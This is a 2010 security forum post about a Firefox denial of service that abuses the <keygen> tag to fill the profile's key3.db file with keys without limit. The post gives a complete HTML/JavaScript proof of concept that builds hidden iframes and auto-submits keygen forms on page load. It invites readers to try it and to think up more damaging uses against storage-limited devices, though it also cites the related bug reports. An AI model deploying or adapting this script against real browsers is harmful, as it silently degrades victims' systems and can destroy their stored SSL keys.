Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
How do we crash systems, browsers, or otherwise bring things to a halt, and how do we protect those things? 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
Firefox Crypto DOS awkwardness.
Posted by: SAS
Date: February 16, 2010 10:29PM

Playing around with the <keygen> tag a couple of minutes and found this. Later on after I posted it on Bugzilla (546308) I found that Thierry Zoller among others had discovered it already a bit earlier (Bug 469565). Practically the same, though in practice different. On first glance it might look an obvious denial of service, one key point has been omitted in the other bug in my opinion. Keys that are generated are stored inside a file called key3.db which also stores signon keys and other crypto stuff FireFox utilizes. Problem is, that file can be stuffed with as many keys as we please. I was able to let it grow from a few KB to a notable 1.44MB (size of a floppy eh?) in matter of minutes. Each key added is about 4KB in size. Now, the larger this key file is, the longer it takes to search and access it. So what if I let it run for hours in a users browser? day after day? maybe through some more clever way than I propose below, that way the key file because enormous in size with the problem that it cannot be edited without affecting stability. If you try and edit it, you will corrupt the profile folder's key3db irretrievable. If you edit it (and I have), SSL keys are LOST TOO. So in essence, once that file is filled with keys, it stays there. I also see no vacuuming of the file, nor is it truncated, or emptied after a series of trials over days. Which seems to imply that it can grow ad infinitum.

Anyway, here is it if you like to try. But remember that it will affect the stability of your browser as explained above.


<html>
<body>
<div id="cryptokombat"></div>
</body>

<script>

// besides the annoying denial of service and the appearance of a wacky progress bar,
// it also clogs up key3.db in your Firefox profile folder with 4 KB on each generated key :)
// on first look, the key3.db doesn't seem to have a size limit at all
// making it possible to generate as much keys as we like.
// after few minutes the key3.db file size reached 1,44MB

function gen10(i) {

		// generate 10 iframes per loop.
	  	var fr = document.getElementById("sub"+i);
	  	var doc = fr.contentDocument;
	  	if (doc == undefined || doc == null) {
				doc = fr.contentWindow.document;
	  	}
	  
	  	var  kitana = '<html><body>A<form method="get" action="?" id="sub7"><keygen name="RSA public key" challenge="\0" KEYTYPE="RSA">';
	 		 kitana += '<input type="submit" name="createcert" value="Generate"></form></body><script>document.getElementById(\'sub7\').submit();<\/script>';
		doc.open();
	  	doc.write(kitana);
	  	doc.close();
	}


	for(i=0;i<33;i++) {
		try {
			data = document.getElementById("cryptokombat").innerHTML;
			document.getElementById("cryptokombat").innerHTML = data += "<iframe id=\"sub"+i+"\" src=\"about:blank\" width=\"1\" height=\"11\"></iframe>";
			} catch(e) {
		}
	}
	for(i=0;i<33;i++) {
		try {
			gen10(i);
			} catch(e) {
		}
	}

</script>
</html>

So while this is fun in some sense, what else can we do? what if the user has a portable laptop with little storage? or what if he uses FireFox portable? or what is he uses a smart phone with limited storage?

Options: ReplyQuote


Sorry, only registered users may post in this forum.